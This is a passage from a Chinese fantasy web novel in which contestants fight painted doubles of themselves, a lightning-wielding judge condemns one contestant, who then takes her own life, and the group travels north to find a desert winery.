这时,其他八幅已修复的画发出呲呲的声音,人皮画在抖动,画里纷纷探出一只掌心生长着麻布条的手,有的带着金缠钏,有的是宝蓝色的腕口、有的虎口有一枚黑痣,......
一眼能识别出谁的手。
金千菲瞪大了眼睛,“竟然也有我的手!那这个人,是不是也和我长得一样?”金千菲死死地盯住她的那幅画,眼中迸发着怒火,仿佛要立马烧掉对方。
所有的手,学着画人柳鸷的手,撕开画皮,从画里爬了出来。
除了柏封棠和万宝子没有画人,其余选手皆有。一共九个画人,每一个画人和选手们都长得一模一样,连掌心的麻布条和赤红色的瞳孔都一样。
画人陈离翡气势高昂,指着选手们大喊:“你们这群冒牌货!竟然敢吓唬我们!看我不杀了你们!”
陈离翡懵逼,“等等,你说谁冒牌货?你们才是冒牌货吧?分明是你们吓唬我们好嘛!”
“我最恨别人冒充我!少跟他们废话,先杀为敬。”画人金千菲持剑,冲过来,直接砍向金千菲。后者平日里,小家碧玉的,此刻也发狠的反抗。
身后的画人曲皓尧也冲向曲皓尧,“别婆婆妈妈的,时间紧迫,各杀各的。”
金千菲、曲皓尧、白从欢、陈离翡这四组已经打起来了。不知道哪方的陈离翡稍弱了些,立马喊秦为墨帮忙,结果两方秦为墨被迫加入战斗。
画人罗圣博冲过来,要杀负伤在身的罗圣博,冷荻出手救,于是画人冷荻也加入了团战。
一眨眼的工夫,屋子内刀光剑影,乱作一团!
只有两个柳鸷,同样的镇定。柳鸷从头到位都在观察、思索,问画人柳鸷,“你知道自己是从画中出来的吗?”
画人柳鸷扭头瞧了一眼身后的画,近乎破损,开裂。
“是我撕开的,为了进入画里。”
进入画里?
“你的意思是,我在画里,你撕画是为了进入有我的画?”
“不然呢?你们这群赝品三番四次的吓唬我们,究竟想做什么?”画人柳鸷有些不耐烦了。
按她的视角,选手在画中,踹画、修复、还探出手、捅出剑,确实吓人。
柳鸷背后发凉,开诚布公道:“可在我眼里,你是从画中爬出来的。我才是真正的柳鸷,你才是冒牌货。”
画人柳鸷错愕,“不可能,柏封棠早就死在华容道里了。还敢说你们不是赝品?”
“华容道里的柏封棠,是柯翰假扮的,你忘记了?”
“怎么可能,柯翰早就死了。”
太乱了!
她们的记忆不对等。
她不知道哪里出错了,如果一真一假,只要辨别便可,但如果两个都是真的,那——
柳鸷忽然焦虑的,朝群殴的选手们大声喊:“你们别打了!不要自己杀自己!金千菲!不要——”
金千菲背过身,肘窝扣住另一个金千菲的胸,一剑抹过她的脖颈,血霎时就喷了出来。
“千菲!”两方的白从欢异口同声喊,所有人都停下来了。
完了。
金千菲冷冷地松开死掉的金千菲尸体,啐了一口,“冒牌货!还想杀我!”金千菲的尸体化为骸骨,显现出一个赤红色血髓拼凑成“哀”字,以及六颗金豆。
内舍丙等?或中二龛?
“假冒得这么精准,连体内的情绪和金豆数量都和我一样。”金千菲冷哼,拾起六颗金豆融进身体,往柳鸷这边走来。
看来,死得是画人金千菲。
白从欢刚松了一口气,猝然,一道银蛇般的白光从屋顶劈下来,径直劈在金千菲脚步前。
闪电?
金千菲止住脚步,谨慎的低头、又仰首,屋顶、地上均没有裂开。
怎么回事?
还未等她弄明白,一道空远、冰冷的女声,由远及近,默念着:“神、赐予我审判之权!我将以神的名义,审判违规者。”
金千菲才意识到这是谁的声音,惊恐如丝,爬上她的眼。她疾步往冷荻那边跑,“冷姐,救我。”可闪电追在她的脚步后,一道道落下,轰鸣欲聋,鞭挞着她跑过的脚步,又故意不劈中她。
越不劈中,金千菲就越慌乱,脚下一个不稳,趔趄地摔在地上。
冷荻和白从欢跑过扶她,想要拉走她,但来不及了。
一道白光以雷霆万钧之势,撕裂战栗的空气,闪烁的裂缝宛如刚睁开的时空之眼。
一头人首狮身,约三丈高,体壮如牛,通体青白,青
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白的茸毛充斥其身,宛如散发寒气的雾。细长的脖子又像一头高傲的麋鹿,系了一条与司寇焚龙如出一辙的玄色丝绸,“缨”。
缨,司寇的权力象征。
这就是西方龛域,司寇青诡。
青诡的额头立着两只青白色的龙角,柔顺、银亮的青色毛发像刺猬般,威风凛凛的炸开。一层青色的鳞片,自下颚爬满脸颊两侧,徒留一双冷艳的花瓣眼,漠然地审视着。
青诡从时空之眼中,迈步而出。刚踏入屋子,屋顶咔咔咔的响声。
柳鸷抬头,“......额??”
原本特别威武出场的青诡,因体型太大,两只龙角卡在天花板的悬梁上了!!!
“啊哈哈哈哈哈哈哈哈哈!”那头,传来陈离翡,无情的嘲笑。
青诡冷眼扫去,轻煽长睫,一道白光闪出。陈离翡大张着嘴,咪眼笑得东倒西歪,根本没注意到,有一道闪电猛地飙向他。
秦为墨眼疾手快,扯过陈离翡躲开、捂住他的嘴,“别笑了!祖宗!”
噔地一声!
陈离翡身后的人皮画被闪电击中,径直裂开、落在地上,焚烧起来。
青诡冷然抬眸,目闪雷电,白光跃上击中纵横交错的木制悬梁,断了,落下一堆焦灰的木屑。
青诡稳步,从万伏闪电中走出来,幻化为身着青衣、清亮而冷冽的姑娘。
她站定,摊开手中的一纸卷轴,一板一眼地审判道:“酒骨龛,违规者一,金千菲违规自杀,立即处决。”
金千菲怕得在冷荻怀里直哆嗦。
“慢着。”冷荻把金千菲交给白从欢,起身,“青诡,酒骨龛的规则是不可自杀,千菲没有自杀。你不能审判她。”
“你在质疑神的审判?”青诡眉眼疏淡,问得声调轻,但却不难让人察觉到其中的威胁。
酒骨龛,规则第二条,参龛过程,选手不可产生自杀念头;忤逆者,立即处决。
金千菲分明杀得是画人金千菲,但却被审判为自杀。
没道理。
冷荻咬紧了唇,柳鸷快步过去,伸手按在她肩膀上,稳住冷荻,“我们只是在就事论事,司寇不必拿神来压制、威胁我们。”
“我认为,谁提出金千菲违规,谁要审判金千菲,谁就要举证。所以,请司寇拿出证据来。”
柳鸷的想法很简单,如果青诡能证明死去的画人金千菲也是金千菲,那就间接证明了所有的画人都是真正的选手。
如果证明不了,那画人就是假的,也解了金千菲被审判的危机。
一箭双雕。很好。
可青诡并不如她意。
原本正垂眸,慢条斯理地卷起卷轴的青诡,在听见柳鸷的声音时,缓慢地撩起了眼帘。青诡并未开口,只是淡淡地、睨视着柳鸷。
柳鸷莫名地察觉,波澜不惊的眸湖之下,藏着一口沸腾的、波涛汹涌的锅炉,似要生烹了她。
是错觉吗?
她并不认识青诡,为何青诡会有如此敌意。
青诡收回目光,微抬下巴,眸光掠过众人,“西方龛域,以我的眼睛为准则。我,就是证据。”
“你的一面之词,无法让我们信服。我们要实实在在的证据。”冷荻也咬定这一点,只要青诡拿不出证据,大概率能保下金千菲的命。
青诡少有表情的脸,扯了扯嘴角,似乎在笑,但那笑疏离得不带一丝温度。
她是丈量西方龛域的裁尺,没有人可以逃脱她的审判。
青诡摊开手掌,掌心凭空变出一株纯白的并蒂花,“你们不是要实实在在的证据吗?吃了它,就会得到答案。”
41. 酒骨龛(十三)
冷荻和柳鸷对视一眼,皆不明了。
柏封棠走近,娓娓道:“一蒂双生花,两人分别食用一瓣。如果你们都是真的,那你们会彼此爱护,彼此争斗,直到杀死对方,换取活下去的生存机会。”
选手们与画人选手两两对望,没有出声。
柳鸷问:“如果一真一假呢?”
柏封棠眉头微皱,没有回,反而是青诡接道:“假的那个人会被真的吸取精魂,立即湮灭而死。”
柳鸷点了点头,好东西,正是能解开她困惑的好东西。
柳鸷欣然迈出脚步,却被冷荻扯住,“没事的冷荻,如果我是假的,那刚好把命还给她。”
柳鸷径直走过去,摘下其中一瓣纯白花瓣,看向画人柳鸷,咬进口中,又涩又甜,一口咽下,胃里瞬时烧得很。
画人柳鸷也利索地摘了另一朵花的花瓣,吞服。
所有的目光聚焦在两个柳鸷身上,怕她们其中一个死掉,又怕她们都不死。
柳鸷的食指节奏均匀的轻敲在衣袖内侧,默数时间。
一下、两下、三下......直到敲到第六十下,青诡握着卷轴轻敲手掌说:“时间到了。”话落的瞬间,柳鸷心里忽生出一股奇妙的情绪,想要拥抱对面的画人柳鸷,更想要杀死对方。
画人柳鸷也克制的,朝众选手点了点头,“有感觉。”
于是,冷荻说:“我也来试试。”剩下的选手凑热闹似的,一拥而上,两两一组,有序的排起了队,领取花瓣。
两个自己同时存在同一空间内,这个事实实在不符合柳鸷所学的物理知识。柳鸷朝画人柳鸷招手,两人一同走到屋子角落。
画人的柳鸷率先开口:“我不会按照双生花的结局走,我相信你也不会。我不会害你,所以,我们能开诚布公的谈一谈吗?”
柳鸷也正有此意,“好。先前,你说在画上看见我们,是什么样子的画?”
“一幅巨大的壁画,背景是我们初入神龛,种植葡萄苗时,你们这一队,除了柯翰以外,所有的选手都在画中。你之前说,华容道里是柯翰假扮的柏封棠,是什么意思?”
柳鸷解释,选手们出了华容道后的情形,“你也经历过种葡萄苗、经历过华容道,但出了华容道却没有见到柏封棠,那么问题就出在这。”
“双生花互为彼此,那华容道里是另一个真的柏封棠,被他们杀死在华容道里。这就导致出了华容道后,只有一队选手队伍里有柏封棠。我们出了华容道一路往北,找沙绪酒庄,你们呢?”
“往回走。”画人柳鸷思忖着,“那双生花是在破华容道时出现的。”
“什么?”
“我们找了很久都没有找到沙绪酒庄,神龛不会无缘无故让选手种植葡萄苗,所以,我怀疑沙绪酒庄就在我们种植葡萄苗的地方。”
“但我们走了很久,都没有找到葡萄苗,反而碰见一座墓碑,碑上盖有展绪之印。之后再往回走,遇见流沙,陷入沙底。沙底别有洞天,我们被困在四周沙墙的空房子,墙壁上就是有你们的画,还莫名其妙被感染了。”
背道而驰,却遇上相同的钤印,相同的困境。
天空、窥视、不同的画、两批选手。
看来,中间缺得关键环节,就是以画为介的空间。
柳鸷淡定道:“我怀疑,我们很可能身处在不同的画中。以墓碑为数,从进入神龛就是一幅画,破了华容道是第二幅画,之后是分别却在某处嵌套的两幅画。每一幅画的执笔之人,就是钤印的主人——展绪。”
“你的意思是,我们现在在像个纸片人一样,在龛主画上奔跑、跳跃?”画人柳鸷手薅了根头发,缠着手指上,绕呀绕,冷不丁蹦出一句,“感觉还挺可爱的。”
柳鸷:“......”这都龛为刀俎,你我皆为鱼肉了,还可爱?
“等等,展绪这么做,明显是在借刀杀人。如果方才我也动手杀了你,两方全力厮杀,不论哪一方幸存,幸存者都已违规,都将被青诡审判,很可能就全军覆没了。”
柳鸷想想就有些后怕,起了一身的鸡皮疙瘩。
画人柳鸷说:“诶呀,别担心,我俩这不是都好好活着嘛。不过,这些都是你的猜测。我们已经遇见两次墓碑了,如果能走出这个困境,能第三次遇见墓碑,那你的猜测才成立。”
“哇,有两个一模一样的美人姐姐。美人姐姐,你们在嘀咕什么呀?”万宝子突然蹦过来,左右瞧柳鸷。
画里死的是华容道的柏封棠,眼前的万宝子是真的,柏封棠也是真的。
而另一个柏封棠在被队友放弃、牺牲时是多么的绝望。
柏封棠站在万宝子身后不远处,被两个柳鸷投来的四道灼灼目光,看得有些不自然。他手握成拳,抵在唇间轻咳,侧过身,试图掩饰耳根的绯红。
画人柳鸷走过去,板正道:“华容道里杀你是我们的不对。”
柏封棠略怔,停下轻咳,只道:“不用道歉。他如果不想死,你们也杀不死他。”
“既然你还活着,那我们的契约依旧有效?”
“它从未失效过。那边都验好了,过去吧。”随后离开。
柳鸷凑到画人柳鸷耳边,一同望着柏封棠的背影,“他这是原谅你了?”
“是原谅我们。”画人柳鸷缠着手指上的发丝,估计又在算计什么。
柳鸷以为,柏封棠虽另有居心,但怎么说也是队友。何况他法力高强,多次出手相救,如果能恢复契约关系,也算好事。
七对选手的双生花验证结果都出来了,无人湮灭。只剩下金千菲没有吞食双生花。
这意味着,金千菲被审判处决的概率,达到近九层。
不知是否因其他人都验证成功了,金千菲心里有了底,整个人的情绪反而比之前平静很多,只问:“她死了,我要怎么验证?”
青诡说:“双生花本是绞生共享生命,把花瓣喂给她,她自会吸取你一半生命,活过来。”<
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金千菲点头,摘了两朵双生花的最后一瓣,走近画人金千菲的骸骨旁。她半跪在地上,认真看着这张和她一模一样的骨相,抬手,又撤下。
将最后两瓣花瓣,丢在地上,纯白的花瓣落尽沙土里,脏了。
金千菲一脚碾碎。
“千菲,你这是做什么?”白从欢不解。
金千菲温柔的笑了笑,“没有必要让她再死一次。”转而望向青诡,“我接受你的审判。”
选手们皆是一怔。
白从欢喊道:“不行,就算只有一层的机会,也可能翻盘。你不要放弃。”白从欢半跪在地上,双手过滤着沙土,试图将碎瓣一点一点捡起来。
青诡没有理会白从欢,既已碎裂,拾也无用。青诡郑重道:“我以神的名义,处决违规者金千菲。”青诡手划拉而过,一道白光跃起,迅速飙击向金千菲。
冷荻咬着牙,手攥紧了刀,背过了身。
金千菲最后回眸说:“小白,谢谢你。”
刹那间,万锯法扇腾空飞过,堪堪抵挡住半道闪电。闪电击中□□的声音,与倒地的碰撞声,接二连三的响起。
“小白!”柳鸷和金千菲喊得两声小白重合,回荡在屋内。
冷荻转过眼,半空中,徒留扬了半掌的沙土与纯白的碎瓣,缓缓飘落。
原本蹲着的白从欢扑着金千菲,倒在地上。
白从欢吐出大口的鲜血。
是白从欢在千钧一发之际,反身抱住金千菲,以背挡住了击向金千菲的另外半道闪电,血迹如烟花般绚烂,绽放在白从欢的黑乎的背部,散发出一股烧焦味。
冷荻焦急地跑过去,“小白,你怎么样?”
方才的闪电速度极快,且势大力沉。柳鸷根本来不及反应。是柏封棠出手截住半道,另外半道,饶是白从欢一个上舍丙等都被劈掉半条命。
若是让金千菲一个内舍丙等承受,此刻她已是一具焦尸了。
“小白......”金千菲豆大的眼泪滚过脸颊。白从欢虚弱地笑了笑,“哭、什么,我还、活着。”
她们是携手共进退的挚友,早已超越了人类自私的本能。
柳鸷眼睛有些酸涩,本不想牵扯其中,却为白从欢的举动,动了恻隐之心。
好一幅姐妹情深的画面。
可青诡并不吃这一套,她冷漠地提醒,“请无关人等退让!阻碍本司寇执行审判,一律同罪诛之。”
冷荻持刀,挡在白从欢前面,白从欢又护着金千菲,不允许青诡靠近。
青诡有些不耐烦了,“既然你们执意送死,那我成全你们。”她不再多费口舌,目闪放雷,白光跃近三人。
冷荻眼神锐利,横刀格挡,势有一股大不了和青诡拼了得气势。冷荻的刀刃燃起金色的锋芒,与闪电相撞,溅出噼里啪啦的火星。
青诡加剧,白光如蛛网般扑向冷荻,冷荻刀速不及,猛然被闪电击中,连连后退吐出一口鲜血,跪在地上。
42. 酒骨龛(十四)
柏封棠说话的语气好像柳鸷此刻只要点点头,他会立马去办。
但这个决定所背负的后果太沉重了。金千菲已承认青诡审判正确,杀青诡,也意味着会牵连阙庭,乃至......整个流金世界大变盘。
柳鸷的腰窝被戳了下,是画人柳鸷,她突然凑近,附耳提醒,“你可别忘了你的目的。”
柳鸷是穿越而来的地球人,她的目标是攻略观众满意值,最终返回现世界。
柳鸷压下心头的软意,环顾旁边的选手。
曲皓尧看不下去,司寇欺负三个女队友,但他一个大男人插进去好像也不太对劲,于是,怂恿陈离翡,“我们一起去帮下她们。”
陈离翡怕女人怕得要死,何况还是四个女人,吐槽道:“我又没什么法力。墨墨、甜甜你们和曲哥一起去!”
秦为墨明白事态的严重,他不可能去杀青诡。他去,能救下冷荻和白从欢,但金千菲若因此死了,冷、白二人自责起来,说不准还会恨他多管闲事。
陈离翡催促了一声,秦为墨说:“不用帮,冷荻和小白若是想通了,自会没事。”
这话说得云里雾里,陈离翡听不懂,“那要是想不通呢?”
秦为墨搓着陈离翡的傻瓜头,笑了笑,没回答。
金千菲心疼为她负伤的冷荻和白从欢,气不过想上前和青诡拼了,却被白从欢拉住,“你一上去就得死。我和冷姐所有的努力都白费了。你听我的,躲到柳鸷身后去。快去!”白从欢推了金千菲一把。
金千菲:“柳鸷?”她往柳鸷那边跑,白从欢站起来,和冷荻一起对抗青诡。
“真是情深意重,那本司寇就勉为其难,陪你们玩玩。”青诡跃身,收起卷轴,双手掌心朝向冷荻和白从欢。
冷荻和白从欢连反抗都来不及,连人带刀,被隔空吸入两束圆直的白光里。白光冲上云霄,天上砸下如雨般的闪电,一阵一阵劈在冷荻和白从欢身上。
正跑向柳鸷的金千菲,身后传来两声惨叫,以及罗圣博喊声:“千菲!你要害死冷姐和小白吗?”
金千菲回身,倏地红了眼眶。
冷荻和白从欢在万伏雷电中挣扎,痛嚎,简直生不如死。白从欢撕吼着:“去、柳鸷、那!”
金千菲退后半步,踩到硬物,是画人金千菲的骸骨。
青诡晃了晃手,光束从她手中脱离,悬浮在半空中,光束中万雷雨的虐行还在继续。
青诡要审判金千菲易如反掌,但她没动,只是静静看着金千菲。
罗圣博大喊:“金千菲!小白算准了柏封棠会救柳鸷!但你确定要把所有人都拖下水吗?”
“我没有。我没有......”金千菲站在柳鸷与青诡两端的中间,抱头痛哭。
“小白想把所有人拖下水,但就算所有人一起就能杀得了青诡吗?就算杀了青诡,那之后怎么办?你确定要因为你的一己私欲害了所有人?”罗圣博步步紧逼。“明明违规的,只有你一个人啊!”
金千菲哭着从膝盖里抬起头,红肿的眼睛扫过一圈神态各异的选手们,唯独不敢再看向白从欢和金千菲。
她就像被世界遗弃的小女孩,捡起自己的剑,哽咽道:“青诡,你放了冷姐和小白吧。”
“千菲!不要——”白从欢喊。
话音刚落,金千菲利索地举剑,像一个时辰前杀画人金千菲那样的狠劲,一剑抹过自己的脖颈。
血溅四溢。
她,自刎于自己的骸骨前。
青诡轻轻一挥,白光与万雷雨撤去,冷荻和白从欢摔在地上。
审判完成,青诡收走金千菲体内的十二颗金豆,徒留下赤红色的血髓拼凑成得一个“哀”字。
青诡的眸光若有似无飘过柳鸷,颔首说:“各位,期待下次再见。”随后,她化为一道闪电,消失在空气里。
冷荻阖上眼,眼角流下一滴泪。
白从欢爬向金千菲,抱着金千菲的骸骨,“笨蛋!笨蛋!为什么要这么傻?”她嘴上骂着,涟涟泪珠却从杏眼里迸出。
柳鸷背过身,轻叹了一口气。屋顶的悬梁嘎吱嘎吱的响起,方才被青诡劈断的悬梁是承重梁之一,屋顶的裂痕像蛛网般分离。
“这屋顶要塌了,快想办法吧!”柳鸷捡起冷荻的水葫芦,将两份“哀”的情绪装入。七情,哀、惧、欲有了,还差喜、怒、爱、恶。
“塌了不是更好,说不定我们就能直接出......”陈离翡说到一半,卡壳了,“卧槽!屋顶上面怎么还是屋顶?真是要压死人了!”
屋子中央上角的屋顶木瓦砸下来,第二层、第三层屋顶木瓦连续砸下来,溅出一堆木屑,连带着整个屋顶都在摇晃。
画人柳鸷说:“这里不能呆了,去我们那屋子吧?”
柳鸷扫过其他画人,并不是所有的画人和选手之间的关系,都像柳鸷这对一样相互坦诚的,加之有双生花的相爱相杀的影响存在。
柳鸷同选手们说:“你们自行决定去留。”而后,她跟着画人柳鸷,走向自己那幅破损的人皮画。
入画前,柳鸷忽然回头,在屋里寻了一圈,朝前柜处跑,停在谷栖夏躺的地方,“谷栖夏,这里要塌了,我现在要去画人的屋子,你要去吗?”
谷栖夏眼眶空空,反应慢了半拍,没有一丝温度的问:“我这样,还能逃去哪里?”
柳鸷说:“我可以引你过去,只要你想去。”
谷栖夏分明没有眼球的眼眶似乎亮了下,微顿,“为什么帮我?”
“你的命,是江琥用命换来的。虽然你失明了,但生命只有一次,好死不如赖活。我希望你不要自暴自弃,努力的、尽可能的活下去。不要辜负了他的牺牲。”
清莹的泪,漫延过谷栖夏眼尾干涸的血痂,化成血水流下。
左角的屋顶连着中央上角,大面积的木瓦塌了下来。冷荻迅速冷静下来,和选手们快速商量后,决定去画人的屋子。
画人秦为墨带头,带着剩下的画人与选手们,穿进人皮画里。
人要走光了,右角的屋顶也轰隆巨响,塌了下来。柳鸷还在等谷栖夏的回复。
万宝子站着柏封棠腿边,喊了一声:“美人姐姐,你快点,要全塌了!”
半晌,谷栖夏暗自攥紧袖口的布料说:“你走吧。”
“什么?”碎落的木屑砸得砰砰响。
谷栖夏又一句,“我不用你假好心!”
柳鸷点点头,将兜
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里的两个眼球还给谷栖夏,大步朝柏封棠跑去。
柳鸷、柏封棠等人的身影消失在人皮画里。
在最后一片屋顶轰然倒塌前,散架的前柜上方,凭空出现一道身影,睥睨着谷栖夏,“想活吗?”
谷栖夏动了动睫毛。
“我可以赐予你一双新的眼睛。”
“从此,你会成为我的座下犬。”
“而你的任务,就是杀了柳鸷。”
画人的屋子是一间十丈十寸的大屋子,一下子涌进来近二十个人,显得有点拥挤。
好在这屋子没什么家具,除了一面巨大的、被撕毁的全景画,其他都是光秃秃的。
陈离翡瞧了一圈,“你们这啥线索也没有,咋出去啊?”
画人陈离翡翻了个白眼说:“所以我们没出去啊!要有线索,还等你们来喔!”
陈离翡被怼得气不打一处,大拇指比着自个的胸膛:“正主在这!有你这假货说话的份?”
“你他妈才是假货!”两只出笼儿的雀儿,斗嘴互啄。两个秦为墨同时抚额,各拉一个打圆场。
柳鸷没管他们,指腹轻醮全景画,这材质也是人皮画,也许是这屋子没有充斥的骆驼血味道,能够清晰的闻到画中的乳香味,“你们有研究这是什么颜料吗?”
画人柳鸷摇了摇头,指着损毁的画中唯一还可见的一只手,“虽然不清楚颜料,但这手的肤色,你有没有觉得很眼熟?”
手背偏乳棕,色彩丰润,手指根根透亮鲜活。
柳鸷结合酒骨龛至今出现过的景物,“比夕阳白点,沙子棕点,比木乃伊淡点。”
“可能是木乃伊棕。”两个柳鸷下意识的,望向身后的柏封棠,“你知道?”
柏封棠迈近一步,询问:“可以让我闻闻吗?”
柳鸷本想退开一步,把画让给他,但脚才退开半步,整个身体僵住了。
柏封棠的左手,径直擒住柳鸷方才沾画料的右手,宽阔的肩膀微微前倾,凑近她的指腹嗅了嗅。
柳鸷的指尖滚烫,不禁发颤,兀自收指紧攥成拳,连忙从他的掌中逃离,撇过脸对着画。
反而是对面的画人柳鸷,转溜的眼睛,一幅吃瓜的表情。柳鸷瞪了她一眼,画人柳鸷狐假虎威,“嗯咳嗯咳,那个,你闻出什么没?”
“以腐臭为底,用大量的乳香与没药香料覆盖臭味,确实是木乃伊棕。”柏封棠解释道:“木乃伊棕是用木乃伊的肉身碾碎成粉末,加以没药和白沥青等混制成的,是一种极其珍贵的颜料。木乃伊棕所呈现的效果,你们也看到了,绚丽逼真。”
两个柳鸷同时皱眉,看来这龛主是个追求极致艺术的画狂。
画人冷荻过来,小声对画人柳鸷嘀咕:“之前我们不是怎么试都不行吗?这次我想让双生试试。”
画人柳鸷的目光投向,全景画的右下角的一双同是棕色的右手掌印。原来,画人们为破局,研究了整幅画,而画中最可疑是多出来的一双右手掌。
“可以。”
画人冷荻喊了冷荻过来,这时,全景画破损的豁口,黑洞洞的,突然从里头伸出来一双满是血、还沾着木屑的手。
画人冷荻倒退一步,“什么人?”
43. 酒骨龛(十五)
先是血手,再是染血的头发,最后是血脸。
是谷栖夏,她爬过来了,一条白布绑在眼睛上,低哑的嗓音道:“柳鸷,你说得话还做数吗?”
柳鸷笑着,握住谷栖夏的手,将她从画里拉出来,搀到旁边休息。
画前,两个冷荻打算一人一只右手掌,同时按向掌印试试。两掌刚落下,瞬时爆闪出耀眼的白光,哐得一声巨响。
柳鸷紧张的握住谷栖夏。
下一瞬,房间、人皮画全部湮灭。
一群人摔在沙漠里,有点儿凉。
青白的月亮,将落未落地悬挂在天际,天空铺着一层柔和的鱼肚白,是日出之前。
旁边有选手在抱怨,“怎么每次都是摔出来,疼死了!”
柳鸷扭头问谷栖下,“你还好吗?”
“没事,你不用管我。”
柳鸷点点头,从沙砾里爬起来,光线并不亮,无法确定这是在哪里。柳鸷望向青白的天空,这会是第四幅画吗?
画人柳鸷建议,“我们先原地休整一会,讨论下接下来的安排,等日出升起再行动,如何?”
众人累得慌,乐意至极。
一群人围成一个圈,讨论。画人们一致认为接下来应该向南,寻找他们初入神龛,种植葡萄苗的地点。
他们认为,那就是沙绪酒庄。
而选手们认为应继续北上,寻找沙绪酒庄。因为老头龛昨日去沙绪酒庄移动的方向,也是北向的。
比起南下或北上寻找沙绪酒庄,柳鸷更在意是能否再次遇见带有钤印的墓碑。只有弄清楚酒骨龛真正的空间情况,才好找出破龛的办法。
万宝子懒得听两方争执不休,趴在沙堆里挖出一只长尾蝎。这鬼机灵灵机一动,起身绕着众人跑圈,像丢手绢一样,在选手后脖颈部丢蝎子玩,把选手们闹得惨叫连连。
万宝子跑了有十多圈,众人都没谈拢。最后决议,各走各方,各找各庄。
天快亮了,日出的红晕逐渐驱赶青白的月,月落日升,选手们该启程了。
分别前,画人柳鸷凝视着和自己一模一样的脸,拍了拍她的肩膀说:“如果证实我们是在画里,那么——”画人柳鸷顿了顿,没在继续说下,但柳鸷都明白。
柳鸷安抚性的握住她的手,“没关系的。我相信我们可以完成彼此的目标。”
柳鸷转而对众人说:“各位,虽然我们道不同,但谋得是同一个东西。此去一别,可能再无法相见,但不管哪一方能找到酒庄,都祝愿大家诸事顺遂,皆返阙庭。”
两方背道而驰,柳鸷和选手们迎着日出北上,他们越过一座又一座沙丘。
太阳如巨大的火球高悬于空,沙砾似火团般发烫,选手们长期跋涉,脚又烫又酸痛,连呼吸都在灼烧肺部。
“到底还要走多久,干脆累死我算了。”陈离翡舔着嘴唇干裂,渗出的血丝抱怨着。“我不走了。”
柳鸷也累,擦了下额头上的汗,结果只擦到一抹白色盐渍。太热了,高温连她的汗水都蒸发掉了。
柏封棠打开水葫芦递给柳鸷,“喝点水,一会我带你。”
上舍选手有闪跃能力,法力越高越远。柏封棠能带柳鸷闪跃,但谷栖夏、罗圣博、曲皓尧这些选手怎么办?
柳鸷摇了摇头,“要不,你先去前面探探路?”
站在柳鸷身边的谷栖夏,微微睁开的新眼睛,透过蒙着白布瞥向柏封棠。
柏封棠眼神一敛,探向谷栖夏,谷栖夏快速收回目光。
水不多了,柳鸷小口地抿了两口,余光注意到,便多瞧了两人一眼。柏封棠单手接过柳鸷手中的水葫芦,吩咐万宝子,“去探探。”
万宝子竖起三根手指,歪头,露出八颗白洁的牙齿,“可以吗?师兄。”
柏封棠一点没犹豫,拒绝。
万宝子不甘心,收了一根手指,“那两次,可以吗?”
“你确定要和我讨价还价?”
万宝子委屈地耷拉下脸。旁边的陈离翡不解,“你们打什么哑谜?”
柳鸷猜到了,笑着说:“宝子想喝酒。”
“切,甜甜就是假凶。那小孩你去吧,下回我请你喝三壶酒。”陈离翡话音刚落,柏封棠冷眼,万宝子高兴地蹦跶起来,“那我去了。”一溜烟,人已至远方,不给陈离翡任何反悔地机会。
选手们小憩一会儿,要继续前进,但陈离翡死活不想走。
他瞧见不远处有干枯的枝干,跑过去七拼八绑,弄了个简易的木筏。自个盘腿坐进木筏里,指着前端的木手把,对秦为墨说:“你拉。”
冷荻见木筏还有空余,“秦哥,也顺带下我们吧。”
秦为墨:“......”
于是,冷荻带白从欢、罗圣博等伤患坐进木筏内。陈离翡说:“女的别靠近我,这么多人,墨墨拉不动。甜甜来拉!”
柏封棠勾起嘴角,“我来拉?可以啊,你们都坐进去吧。”
柳鸷一惊,这么好说话,必定有诈,但也不怕,带着谷栖夏也坐进去了。
最后,所有人,包括秦为墨全进了木筏里,柏封棠拉住木把手,语调蔫坏蔫坏的,“各位朋友,抓稳了。”
木筏一下子腾空起来,像过山车一样前进,上下颠簸,旁边的沙丘如走马灯般飞速倒退,耳边呼啸过热风,肆意吹散她的发丝。
“哈哈哈哈......”柳鸷坐在木筏前端,抓紧木把手的尾端,开怀大笑着,享受着这难得,与风共舞的自由。
柏封棠侧眸看了一眼柳鸷,嘴角上扬,加快跃迁。陈离翡惊叹,“太爽了!再快!再快点!”
忽然,屁股下,“嘣、嘣、嘣。”几声。柳鸷刚要低头看,木筏突然哗啦一下,空中解体了!!!
“啊——”选手们措手不及,四仰八叉的摔进沙砾里、翻滚了几圈才停下。柳鸷抓着木把手,倒是没摔着。
陈离翡吃了几抔沙子,呸呸地狂吐。爬起来,破口大骂,“死甜甜!你是不是故意的?”
柏封棠耸了耸肩,“我这不是听你吩咐,再快点吗?怎还吃力不讨好了。”
陈离翡嘴角一抽,真是哑巴吃黄连,一点也辩不了。
没办法,选手们只能继续徒步前行。走了不知道多久,在选手们即将败倒在这无尽的干渴和疲惫中时,远处出现一个模糊的轮廓,孤独的矗立在金色沙海之中。
一个小小的身影在巨大的轮廓之下,疾速往回跑。
是万宝子。
他满额是汗,喘着气大喊:“师兄!是酒庄。沙绪酒庄。”
这下,选手们跟打了鸡血似的,原本疲惫的眼睛都变得清明了,纷纷快步往前跑。
终于看清了。
一座砂岩色的石土堆砌而成的尖顶堡垒,周边连绵起伏的沙丘像城墙一样环绕、抵御风暴。两座沙丘之间的空地上装着铁栅栏,挂着沙绪酒庄的牌匾。
陈离翡雀跃的、跳着脚指着牌匾,“太好了!终于找到了!我就说往北准没错!那群南下的蠢蛋肯定找不到酒庄,说不准都在偷偷哭了。哼哼!”
柳鸷蹙眉,眯着近视眼,左右张望。
柏封棠的法扇轻敲了下柳鸷的肩膀,“看什么?怎么找到酒庄了,你不开心?”
“没、没看什么。”柳鸷没有找到墓碑,怀疑自己猜测错了,根本没有在画里。可
这时,忽然插入一道被砂纸磨过的声音,“你们是谁?新来的人吗?”
一群人刷刷回头,是一个身着衣裳,但浑身包裹着麻布条的龛。龛回头,朝不远处喊了声:“大哥,这里有新......”柳鸷速度极快,一剑割下它的脑袋。
前头,还有一个龛,见状快步往沙绪酒庄跑。
柳鸷说:“不能让它跑了。”
柏封棠闪跃,两步追至,出手卡住龛的脖子,咔嚓一声,直接拧断。龛连
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反抗的余地都没有,糖葫芦般的热血,随头颅倾洒黄沙。
柏封棠用掌心的麻布条,擦了擦虎口上的血。
两个龛的尸体变成骸骨,流出了两片金箔和情绪,是恶和惧。
冷荻摘下身上的水葫芦,收了恶,扭头问:“惧已经有了,还有要?”
柳鸷说:“都收着,以防万一。”转而和选手们,解释道:“我怀疑,沙绪酒庄里可能都是浑身麻布条的龛,如果不杀他们可能会引来更多的龛。”
